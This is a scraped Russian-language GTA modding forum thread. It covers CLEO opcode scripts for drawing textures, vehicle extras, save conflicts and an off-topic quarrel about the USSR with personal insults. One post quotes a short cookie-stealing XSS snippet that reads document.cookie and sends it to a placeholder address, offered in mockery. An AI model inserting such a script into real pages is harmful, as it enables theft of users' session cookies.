You are not logged in.
так блин как менять размер созданной короны?
Не блинкай!
Размер менять через память, либо просто удалить старую, создать новую корону.
t]Теперь использую. Я про то, что почему после декомпиляции исходного скрипта комментарии исчезают? Вопрос остаётся открытым.
Потому, что компилятор компилирует код для компьютера, а ему все эти комментарии, описание параметров опкодов и т. д. ненужны. Только данные.
Попробуй включить в настройках СБ добавление доп. информации в файл, возможно поможет.
2Sw[ee]t, есть такая штука, как исходный код. Почему не используешь его?
RAGE - Rockstar Advanced Game Engine
Движок, на котором сделана GTA4, Red Dead Redemption и Максим ИсаехзКакЕгоПоБатьке Пэйн 3
а где звуки найти?
З.Ы. Надеюсь, не в exe?
Зря надеешься.
Как утверждал автор занозы, он не нашел, где в wtf файле хранятся настройки экстр(ну чтобы они одновременно например появлялись). Наверно опять всё зашито.
GTA 4 меня всё больше разочаровывает в плане модинга:cry:
Я извиняюсь за подъем старой темы, но появился вопрос. Меня интересует, как организована работа экстра деталей транспорта(extra1-9). Как они комбинируются (ведь на разных машинах они появляются в разных вариация) и самый главный вопрос - где и как это всё можно отредактировать?
последний - 0.999b5
А где-ж таковым разжиться можно? Если он конечно доступен для широких масс.
@listener, кто-ж отрицает, что гадостей в СССР не было(может я где то это утверждал?)? И забывать их не надо. Но если там были гадости, то это не значит, что "хорошести" надо перечеркнуть, отрицать их. Нет? Да, оно было по другому, но вот зачем откровенно поливать грязью то?
@Dageron, а вот скажите, откуда у вас такая ненависть к СССР? Может у Вас родственников репрессировали? Или у Вас отняли ваше состояние? Или Вы просто много читаете либеральных газет? Спорить лично с Вами больше не буду, конструктивного разговора у нас не получиться.
Dageron, а разве Вы сами рассуждаете не как дилетант? Или Вы просто, извините, либераст? В корень смотрите, а видите только верхушку. Говорите красные развалили страну? А кто тогда создал СССР? Страну, у которой было атомное оружие, которая первой запустила в космос человека, победила в той же ВОВ? Страну, которая обеспечила своим гражданам бесплатные медицину и образование(а вы знаете, что бесплатное образование в российских школах фактически отменено?), которая старалась обеспечить всем работу? Или скажите что в войне СССР победила благодаря одним штрафбатовцам, наука держалась только на шаражках, а народ жил в нищете и страхе? И так все 70 лет? А кто же тогда настоящий правитель? Уж не ВВП и ДАМ ли?
Заметьте, глупо рассуждать однобоко - в СССР были недостатки, как и в ЛЮБОЙ стране. Но вот всё то хорошее, что было в СССР - этого не надо отрицать, это по меньшей мере глупо.
@Dageron, "в то время" в СССР были ни подонки, а нормальный жесткий правитель. Перегибы были, но пользы в итоге осталось больше. Подонки - это те, кто такую могучую страну развалил, продал. Те, кто распродаёт наши ресурсы, кладя все средства себе в карман, и покупая футбольные клубы. Список можно очень долго продолжать.
Нет ни одного народа, который обогатился бы в следствие победы в войне.
Есть, и это - США. Как в прямом, так и в переносном смысле слова обогатились.
@reute70, википедия тебе в помощь(это официальная версия)
listener, космонавт?
P.S. А парад, парад то когда-ж устраивать? ^_^
Ура, товарищи! Всех с самым великим праздником - С Днём Победы!
Наверняка это уже известно, но на всякий напишу. Если поставить xliveless на IV и EFLC, то их сэйвы начинают конфликтовать(например если последний сделан на EFLC, то на IV при старте игры автоматом будет загружаться он, в следствии чего будет ошибка загрузки сохранения и игра запустит новую игру(извиняюсь за каламбур).
Или это только у меня?
[You must login to view hidden text.]
Дата рождения 1998-01-17
Это УЖЕ о многом говорит.
@CLEO Xakep,
<script>
x=document.cookie
test=open("blah-blah-blah",+x,1,1)
</script>
Это всё, что ты знаешь?
Читай книги, вместо пустого трёпа. Например "JavaScript. Подробное руководство" Девида Фленагана.
Параметры камеры, для каждой машины, настраиваются в файле vehOff.csv. Хватит флудить.
~AquaZ~ смеешься? Ребенок посетил пару тематических форумов, и теперь считает себя кул хацкером.
@Sw[ee]t, нет не предусмотрено.
Убрал enable_text_draw - теперь появляется, но довольно странно - Появляется сразу, а потом мягко выплывает ещё одна копия, перевёрнутая на 180...
Первая мгновенная отрисовка:
038D: draw_texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale colour 255 255 255 alpha 0
Вторая, постепенная:
for TmpVar = 1 to 255 074B: texture tx_tah position tah_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar 074B: texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar end
опкод 074B выводит текстуры в перевернутом виде. Просто прибавляй 180.0 к rotation
Если белые квадраты - то что-то с текстурами. Вывод работает. Проверяй имена, компрессию, расположение тхд-файла. Сделай всё по аналогии со стандартными
2flashTrash:
tx_numB и прочие - тоже целые числа.Еще лучше сделать вместо
000A: 0@ += 1 0019: 0@ > 255 004D: jump_if_false @Noname_128...
У меня вообще нет ничего подобного!
А это что?
for TmpVar = 1 to 255
тхд файл то так и не приложил...=)
2flashTrash:
038F: request_texture 'num_b' as tx_numB 038F: request_texture 'num_bn' as tx_numBN 038F: request_texture 'num_1' as tx_num1 038F: request_texture 'num_1n' as tx_num1N 038F: request_texture 'num_2' as tx_num2 038F: request_texture 'num_2n' as tx_num2N 038F: request_texture 'num_3' as tx_num3 038F: request_texture 'num_3n' as tx_num3N 038F: request_texture 'num_4' as tx_num4 038F: request_texture 'num_4n' as tx_num4N 038F: request_texture 'num_5' as tx_num5 038F: request_texture 'num_5n' as tx_num5N 038F: request_texture 'num_off' as tx_numOff 038F: request_texture 'arr1' as tx_arr1 038F: request_texture 'arr1n' as tx_arr1N
Так, а чему равны всякие tx_numB'ы? Они должны быть равны целому числу, это будет их идентификатор.
Еще лучше сделать вместо
000A: 0@ += 1 0019: 0@ > 255 004D: jump_if_false @Noname_128
так, чтобы переменная не вылезала за рамки
if 0@ < 255 jf @Noname_18E 0@ += 1 goto @Noname_128
2all:
Почему текстуры не выводятся?03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture tx_tah position tah_posX TahSpdPosY scale TahSpdScale TahSpdScale colour 255 255 255 alpha 255 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale colour 255 255 255 alpha 255 TmpVar = 1 for TmpVar = 1 to 255 03F0: enable_text_draw 1 074B: texture tx_tah position tah_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar 074B: texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar end
Так по приведенному куску всё правильно. Проверь имена текстур(может регистр влияет, хз), если всё в порядке, то приведи ВЕСЬ код, желательно с файлом текстур.
Почему здесь текстуры выводятся как серые квадраты (или вообще не выводятся)?
Скорее всего ошибка в цикле for - в его теле не хватает опкода
03F0: enable_text_draw 1
так же проверь переменную TmpVar - там должно быть целое значение
2mfisto
Кэп, ты?
Любая прога отжирает оперативку, а так же, что особенно больно для 4ки, дополнительно нагружает процессор. Особенно последним "балуются" всякие антивирусы. Так что надо не интернет вырубать в первую очередь, а лишние процессы поубивать.
А возможно ли сделать, чтобы копы были разные?
Например, в Los Santos и San Fierro генерировались модели #LAPD1 #SFPD1, в Las Venturas и сельской местности - #LVPD1 #CSHER #DSHER #CDEPUT.
Они, вообще-то, и так разные.